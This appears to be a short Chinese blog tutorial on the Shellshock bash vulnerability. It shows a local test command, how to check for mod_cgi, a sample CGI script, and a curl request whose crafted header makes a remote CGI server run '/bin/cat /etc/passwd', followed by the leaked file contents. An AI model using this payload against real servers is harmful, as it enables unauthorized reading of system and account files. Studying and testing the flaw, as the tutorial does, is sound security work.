共计 1176 个字符,预计需要花费 3 分钟才能阅读完成。
1、终端用户检测漏洞方法
本地用户在终端可以执行以下测试方法来检测是否存在该漏 洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果显示信息如下,则表示该主机存在该漏洞:
vulnerable
this is a test
2、远程攻击条件
1). Linux WEB Server 提供的 CGIL 接口允许我们通过远程 HTTP 方式进行 Bash 调用
httpd -l | grep cgi
apachectl -t -D DUMP_MODULES | grep cgi
如果输出有包含 cgi 字样的字符,那说明已经成功开启了 mod_cgi。
3、环境准备
假设你配置的 cgi-bin 的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的 shell.sh 脚本:
#!/bin/bash
echo "Content-type: text/html"
echo ""
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
echo "<html>"
4、开始获取主机信息
找一台能连接服务器的 Linux 机器,假设我这里主机的 IP 为:192.168.0.1,在终端输入以下命令:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo"a: $a"''http://192.168.0.1/cgi-bin/shell.sh' -I
5、查看输出结果
类似以下输出:
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync
6、总结
要利用该漏洞获取信息,需要服务器满足第 2 节中的条件,在生产环境中一般是一些 cgi 应用型的互联网 网站,且主机是类 unix 系统。

(呲牙)